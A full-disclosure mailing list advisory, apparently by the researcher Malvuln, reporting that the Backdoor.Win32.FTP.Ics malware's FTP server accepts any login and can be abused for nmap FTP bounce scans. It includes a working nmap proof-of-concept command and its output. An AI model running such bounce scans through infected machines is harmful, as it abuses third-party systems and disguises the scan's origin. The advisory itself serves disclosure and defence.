full-disclosure - [FD] Backdoor.Win32.FTP.Ics / Port Bounce Scan (MITM)

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Message-ID: <CAAHK0WQx6ZUxvg=5jT8uQgehRfLSc096TCr594TtxF9HLfBjoQ@mail.gmail.com>
Date: Tue, 22 Feb 2022 22:43:35 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.FTP.Ics / Port Bounce Scan (MITM)

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/584bc06128469423f9e50e8a359d18ac_C.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Ics
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on TCP port 5554 and accepts any
credentials. Third-party intruders who successfully logon can abuse the
backdoor FTP server as a man-in-the-middle machine allowing PORT Command
bounce scan attacks using Nmap. This vulnerability allows remote attackers
to abuse your system and discreetly conduct network port scanning. Victims
will then think these scans are originating from the infected system
running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 584bc06128469423f9e50e8a359d18ac
Vuln ID: MVID-2022-0500
Disclosure: 02/22/2022

Exploit/PoC:
nmap -n -Pn -b malvuln:malvuln@....168.18.125:5554 -p21,22,80
192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 16:08 UTC-11
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).
Attempting connection to ftp://malvuln:malvuln@....168.18.125:5554
Connected:220 ICS FTP Server ready.
Login credentials accepted by FTP server!
Initiating Bounce Scan at 16:08
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 16:08, 2.11s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.27 seconds

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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